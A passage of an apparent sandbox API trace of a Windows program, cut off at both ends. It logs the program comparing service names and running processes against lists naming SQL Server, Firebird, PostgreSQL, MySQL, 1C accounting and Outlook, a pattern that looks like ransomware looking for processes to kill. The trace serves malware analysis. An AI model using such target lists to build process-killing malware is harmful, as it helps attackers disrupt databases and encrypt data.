(lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0181.449] lstrlenW (lpString="Netman") returned 6 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0181.449] lstrlenW (lpString="netprofm") returned 8 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0181.449] lstrlenW (lpString="NlaSvc") returned 6 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0181.449] lstrlenW (lpString="nsi") returned 3 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0181.449] lstrlenW (lpString="PcaSvc") returned 6 [0181.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0181.449] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0181.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0181.450] lstrlenW (lpString="PlugPlay") returned 8 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0181.450] lstrlenW (lpString="Power") returned 5 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0181.450] lstrlenW (lpString="ProfSvc") returned 7 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0181.450] lstrlenW (lpString="RpcEptMapper") returned 12 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0181.450] lstrlenW (lpString="RpcSs") returned 5 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0181.450] lstrlenW (lpString="SamSs") returned 5 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0181.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0181.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0181.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0181.450] lstrlenW (lpString="Schedule") returned 8 [0181.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0181.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0181.451] lstrlenW (lpString="SENS") returned 4 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0181.451] lstrlenW (lpString="ShellHWDetection") returned 16 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0181.451] lstrlenW (lpString="Spooler") returned 7 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0181.451] lstrlenW (lpString="SysMain") returned 7 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0181.451] lstrlenW (lpString="Themes") returned 6 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0181.451] lstrlenW (lpString="TrkWks") returned 6 [0181.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0181.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0181.451] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0181.451] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0181.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0181.452] lstrlenW (lpString="UxSms") returned 5 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0181.452] lstrlenW (lpString="WdiServiceHost") returned 14 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0181.452] lstrlenW (lpString="WdiSystemHost") returned 13 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0181.452] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0181.452] lstrlenW (lpString="Winmgmt") returned 7 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0181.452] lstrlenW (lpString="WPDBusEnum") returned 10 [0181.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0181.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0181.452] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0181.452] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0181.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0181.452] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f9308 | out: hHeap=0x5c0000) returned 1 [0181.453] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0181.455] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.455] lstrlenW (lpString="System") returned 6 [0181.455] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0181.455] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0181.455] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.456] lstrlenW (lpString="smss.exe") returned 8 [0181.456] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0181.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.456] lstrlenW (lpString="csrss.exe") returned 9 [0181.456] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0181.456] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0181.456] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0181.456] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0181.456] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0181.456] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0181.456] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.457] lstrlenW (lpString="wininit.exe") returned 11 [0181.457] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0181.457] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0181.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.457] lstrlenW (lpString="csrss.exe") returned 9 [0181.457] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0181.457] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0181.457] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0181.457] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0181.457] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0181.457] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0181.457] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.458] lstrlenW (lpString="winlogon.exe") returned 12 [0181.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.458] lstrlenW (lpString="services.exe") returned 12 [0181.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.458] lstrlenW (lpString="lsass.exe") returned 9 [0181.458] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0181.459] lstrlenW (lpString="lsm.exe") returned 7 [0181.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.459] lstrlenW (lpString="svchost.exe") returned 11 [0181.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.459] lstrlenW (lpString="svchost.exe") returned 11 [0181.459] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.460] lstrlenW (lpString="svchost.exe") returned 11 [0181.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.460] lstrlenW (lpString="svchost.exe") returned 11 [0181.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.460] lstrlenW (lpString="svchost.exe") returned 11 [0181.460] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.461] lstrlenW (lpString="audiodg.exe") returned 11 [0181.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.461] lstrlenW (lpString="svchost.exe") returned 11 [0181.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0181.461] lstrlenW (lpString="explorer.exe") returned 12 [0181.461] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.462] lstrlenW (lpString="dwm.exe") returned 7 [0181.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.462] lstrlenW (lpString="svchost.exe") returned 11 [0181.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.462] lstrlenW (lpString="n.exe") returned 5 [0181.462] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0181.463] lstrlenW (lpString="spoolsv.exe") returned 11 [0181.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.463] lstrlenW (lpString="svchost.exe") returned 11 [0181.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0181.463] lstrlenW (lpString="taskhost.exe") returned 12 [0181.463] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0181.464] lstrlenW (lpString="reader_sl.exe") returned 13 [0181.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.464] lstrlenW (lpString="n.exe") returned 5 [0181.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.464] lstrlenW (lpString="n.exe") returned 5 [0181.464] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0181.465] lstrlenW (lpString="n.exe") returned 5 [0181.465] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0181.465] CloseHandle (hObject=0xe0) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5390 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f53d8 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5420 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5440 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5488 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f4b50 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4840 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4878 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4470 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4498 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d48c0 | out: hHeap=0x5c0000) returned 1 [0181.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d44c0 | out: hHeap=0x5c0000) returned 1 [0181.465] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x5fb550 [0181.466] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 